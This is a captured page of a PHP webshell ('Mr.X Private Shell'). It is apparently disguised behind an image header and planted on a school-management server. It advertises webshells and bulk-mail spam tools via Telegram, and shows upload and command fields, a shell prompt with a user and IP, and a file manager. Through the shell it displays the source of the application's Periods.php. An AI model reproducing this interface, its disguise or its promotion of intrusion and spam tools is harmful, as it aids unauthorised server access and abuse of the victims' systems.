����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php

DrawHeader( ProgramTitle() );

if ( $_REQUEST['modfunc'] === 'update' )
{
	if ( ! empty( $_REQUEST['values'] )
		&& ! empty( $_POST['values'] )
		&& AllowEdit() )
	{
		foreach ( (array) $_REQUEST['values'] as $id => $columns )
		{
			// FJ fix SQL bug invalid numeric data.
			if ( ( empty( $columns['SORT_ORDER'] )
					|| is_numeric($columns['SORT_ORDER'] ) )
				&& ( empty( $columns['LENGTH'] )
					|| (string) (int) $columns['LENGTH'] == $columns['LENGTH'] ) )
			{
				// Deprecated: was used for START_TIME & END_TIME.
				/*if ( $columns['START_TIME_HOUR'] != ''
					&& $columns['START_TIME_MINUTE']
					&& $columns['START_TIME_M'] )
				{
					$columns['START_TIME'] = $columns['START_TIME_HOUR'] . ':' .
						$columns['START_TIME_MINUTE'] . ' ' . $columns['START_TIME_M'];
				}

				unset( $columns['START_TIME_HOUR'] );
				unset( $columns['START_TIME_MINUTE'] );
				unset( $columns['START_TIME_M'] );

				if ( $columns['END_TIME_HOUR'] != ''
					&& $columns['END_TIME_MINUTE']
					&& $columns['END_TIME_M'] )
				{
					$columns['END_TIME'] = $columns['END_TIME_HOUR'] . ':' .
						$columns['END_TIME_MINUTE'] . ' ' . $columns['END_TIME_M'];
				}

				unset( $columns['END_TIME_HOUR'] );
				unset( $columns['END_TIME_MINUTE'] );
				unset( $columns['END_TIME_M'] );*/

				if ( $id !== 'new' )
				{
					DBUpdate(
						'school_periods',
						$columns,
						[ 'PERIOD_ID' => (int) $id ]
					);
				}
				// New: check for Title.
				elseif ( $columns['TITLE'] )
				{
					$insert_columns = [ 'SCHOOL_ID' => UserSchool(), 'SYEAR' => UserSyear() ];

					DBInsert(
						'school_periods',
						$insert_columns + $columns
					);
				}
			}
			else
				$error[] = _( 'Please enter valid Numeric data.' );
		}
	}

	// Unset modfunc & redirect.
	RedirectURL( 'modfunc' );
}

if ( $_REQUEST['modfunc'] === 'remove'
	&& AllowEdit() )
{
	if ( DeletePrompt( _( 'Period' ) ) )
	{
		DBQuery( "DELETE FROM school_periods
			WHERE PERIOD_ID='" . (int) $_REQUEST['id'] . "'" );

		// Unset modfunc & ID & redirect.
		RedirectURL( [ 'modfunc', 'id' ] );
	}
}

echo ErrorMessage( $error );

if ( ! $_REQUEST['modfunc'] )
{
	// Remove Used for Attendance column, unused.
	$periods_RET = DBGet( "SELECT PERIOD_ID,TITLE,SHORT_NAME,SORT_ORDER,LENGTH,
		START_TIME,END_TIME,BLOCK,
		(SELECT 1
			FROM course_period_school_periods cpsp,course_periods cp
			WHERE cpsp.PERIOD_ID=sp.PERIOD_ID
			AND cp.COURSE_PERIOD_ID=cpsp.COURSE_PERIOD_ID
			AND cp.SYEAR='" . UserSyear() . "'
			AND cp.SCHOOL_ID='" . UserSchool() . "'
			LIMIT 1) AS REMOVE,
		(SELECT COUNT(1)
			FROM course_period_school_periods cpsp,course_periods cp
			WHERE cpsp.PERIOD_ID=sp.PERIOD_ID
			AND cp.COURSE_PERIOD_ID=cpsp.COURSE_PERIOD_ID
			AND cp.SYEAR='" . UserSyear() . "'
			AND cp.SCHOOL_ID='" . UserSchool() . "'
			LIMIT 1) AS COURSE_PERIODS
		FROM school_periods sp
		WHERE SYEAR='" . UserSyear() . "'
		AND SCHOOL_ID='" . UserSchool() . "'
		ORDER BY SORT_ORDER IS NULL,SORT_ORDER,TITLE",
	[
		'REMOVE' => '_makeRemoveButton',
		'TITLE' => '_makeTextInput',
		'SHORT_NAME' => '_makeTextInput',
		'SORT_ORDER' => '_makeTextInput',
		'BLOCK' => '_makeTextInput',
		'LENGTH' => '_makeTextInput',
		'COURSE_PERIODS' => '_makeCoursePeriods',
	] ); //	'ATTENDANCE' => '_makeCheckboxInput','START_TIME' => '_makeTimeInput','END_TIME' => '_makeTimeInput'

	$columns = [];

	if ( empty( $_REQUEST['LO_save'] ) )
	{
		// Do not Export Delete column.
		$columns['REMOVE'] = '<span class="a11y-hidden">' . _( 'Delete' ) . '</span>';
	}

	$columns += [
		'TITLE' => _( 'Title' ),
		'SHORT_NAME' => _( 'Short Name' ),
		'SORT_ORDER' => _( 'Sort Order' ),
		'LENGTH' => _( 'Length (minutes)' ),
		'BLOCK' => _( 'Block' ),
		'COURSE_PERIODS' => _( 'Course Periods' ),
	]; // 'ATTENDANCE' => _('Used for Attendance'),'START_TIME' => _('Start Time'),'END_TIME' => _('End Time'));

	$link['add']['html'] = [
		'REMOVE' => _makeRemoveButton( '', 'REMOVE' ),
		'TITLE' => _makeTextInput( '', 'TITLE' ),
		'SHORT_NAME' => _makeTextInput( '', 'SHORT_NAME' ),
		'LENGTH' => _makeTextInput( '', 'LENGTH' ),
		'SORT_ORDER' => _makeTextInput( '', 'SORT_ORDER' ),
		'BLOCK' => _makeTextInput( '', 'BLOCK' ),
	]; // 'ATTENDANCE'=>_makeCheckboxInput('','ATTENDANCE'),'START_TIME'=>_makeTimeInput('','START_TIME'),'END_TIME'=>_makeTimeInput('','END_TIME')

	echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=update' ) . '" method="POST">';

	DrawHeader( '', SubmitButton() );

	ListOutput( $periods_RET, $columns, 'Period', 'Periods', $link, [], [ 'valign-middle' => true ] );

	echo '<div class="center">' . SubmitButton() . '</div>';
	echo '</form>';
}


function _makeTextInput( $value, $name )
{
	global $THIS_RET;

	if ( ! empty( $THIS_RET['PERIOD_ID'] ) )
	{
		$id = $THIS_RET['PERIOD_ID'];
	}
	else
	{
		$id = 'new';
	}

	$extra = 'maxlength=100';

	if ( $name === 'LENGTH' )
	{
		// Allow Negative length (minutes), why not?
		$extra = ' type="number" max="99999" min="-99999"';
	}
	elseif ( $name === 'SORT_ORDER' )
	{
		$extra = ' type="number" min="-9999" max="9999"';
	}
	elseif ( $name !== 'TITLE' )
	{
		$extra = 'size=5 maxlength=10';
	}
	elseif ( $id !== 'new' )
	{
		$extra .= ' required';
	}

	return TextInput( $value, 'values[' . $id . '][' . $name . ']', '', $extra );
}


// Deprecated: Remove Used for Attendance column, unused.
function _makeCheckboxInput( $value, $name )
{
	global $THIS_RET;

	if ( ! empty( $THIS_RET['PERIOD_ID'] ) )
	{
		$id = $THIS_RET['PERIOD_ID'];
	}
	else
	{
		$id = 'new';
	}

	return CheckboxInput(
		$value,
		'values[' . $id . '][' . $name . ']',
		'',
		'',
		( $id === 'new' ),
		button( 'check' ),
		button( 'x' )
	);
}


// Deprecated: was used for START_TIME & END_TIME.
function _makeTimeInput( $value, $name )
{
	global $THIS_RET;

	if ( ! empty( $THIS_RET['PERIOD_ID'] ) )
	{
		$id = $THIS_RET['PERIOD_ID'];
	}
	else
	{
		$id = 'new';
	}

	$hour = mb_substr( $value, 0, mb_strpos( $value, ':' ) );

	$minute = mb_substr( $value, mb_strpos( $value, ':' ), mb_strpos( $value, ' ' ) );

	$m = mb_substr( $value, mb_strpos( $value, ' ' ) );

	for ( $i = 1; $i <= 11; $i++ )
	{
		$hour_options[ $i ] = '' . $i;
	}

	$hour_options['0'] = '12';

	for ( $i = 0; $i <= 9; $i++ )
	{
		$minute_options[ '0' . $i ] = '0'.$i;
	}

	for ( $i = 10; $i <= 59; $i++ )
	{
		$minute_options[ $i ] = '' . $i;
	}

	$m_options = [ 'AM' => 'AM', 'PM' => 'PM' ];

	$time_html = '<table><tr><td>' . SelectInput(
		$hour,
		'values[' . $id . '][' . $name . '_HOUR]',
		'',
		$hour_options,
		'N/A',
		'',
		false
	) . ':</td><td>' . SelectInput(
		$minute,
		'values[' . $id . '][' . $name . '_MINUTE]',
		'',
		$minute_options,
		'N/A',
		'',
		false
	) . '</td><td>' . SelectInput(
		$m,
		'values[' . $id . '][' . $name . '_M]',
		'',
		$m_options,
		'N/A',
		'',
		false
	) . '</td></tr></table>';

	if ( $id !== 'new'
    	&& $value )
	{
		return InputDivOnclick(
			$name . $id,
			$time_html,
			$value,
			''
		);
	}
	else
		return $time_html;
}


/**
 * Make Remove button
 *
 * Local function
 * DBGet() callback
 *
 * @since 4.7
 *
 * @param  string $value  Value.
 * @param  string $column Column name, 'REMOVE'.
 *
 * @return string Remove button or add button or none if existing Course Periods use this School Period.
 */
function _makeRemoveButton( $value, $column )
{
	global $THIS_RET;

	if ( empty( $THIS_RET['PERIOD_ID'] ) )
	{
		return button( 'add' );
	}

	if ( $value )
	{
		// Do NOT remove School Period as existing Course Periods use it.
		return '';
	}

	$button_link = 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=remove&id=' .
		$THIS_RET['PERIOD_ID'];

	return button( 'remove', '', URLEscape( $button_link ) );
}

/**
 * Make Course Periods number link
 * Link to Scheduling > Courses program & search for Period's "TITLE"
 *
 * Local function
 * DBGet() callback
 *
 * @since 11.1
 *
 * @param  string $value  Value.
 * @param  string $column Column name, 'COURSE_PERIODS'.
 *
 * @return string         Empty if no Course Periods, else Course Periods link.
 */
function _makeCoursePeriods( $value, $column )
{
	global $THIS_RET;

	if ( ! $value )
	{
		return '';
	}

	if ( ! AllowUse( 'Scheduling/Courses.php' )
		|| ! $THIS_RET['TITLE'] )
	{
		return $value;
	}

	$link = 'Modules.php?modname=Scheduling/Courses.php&course_modfunc=search&last_year=&search_term=' .
		urlencode( $THIS_RET['TITLE'] );

	return '<a href="' . URLEscape( $link ) . '">' . $value . '</a>';
}

Filemanager

Name Type Size Permission Actions
includes Folder 0755
AccessLog.php File 5.65 KB 0644
Calendar.php File 31.26 KB 0644
Configuration.php File 24.2 KB 0644
CopySchool.php File 7.95 KB 0644
DatabaseBackup.php File 2.99 KB 0644
GradeLevels.php File 4.66 KB 0644
MarkingPeriods.php File 21.84 KB 0644
Menu.php File 1.99 KB 0644
Periods.php File 8.26 KB 0644
PortalNotes.php File 7.57 KB 0644
PortalPolls.php File 11.62 KB 0644
Rollover.php File 36.85 KB 0644
SchoolFields.php File 2.88 KB 0644
Schools.php File 10.37 KB 0644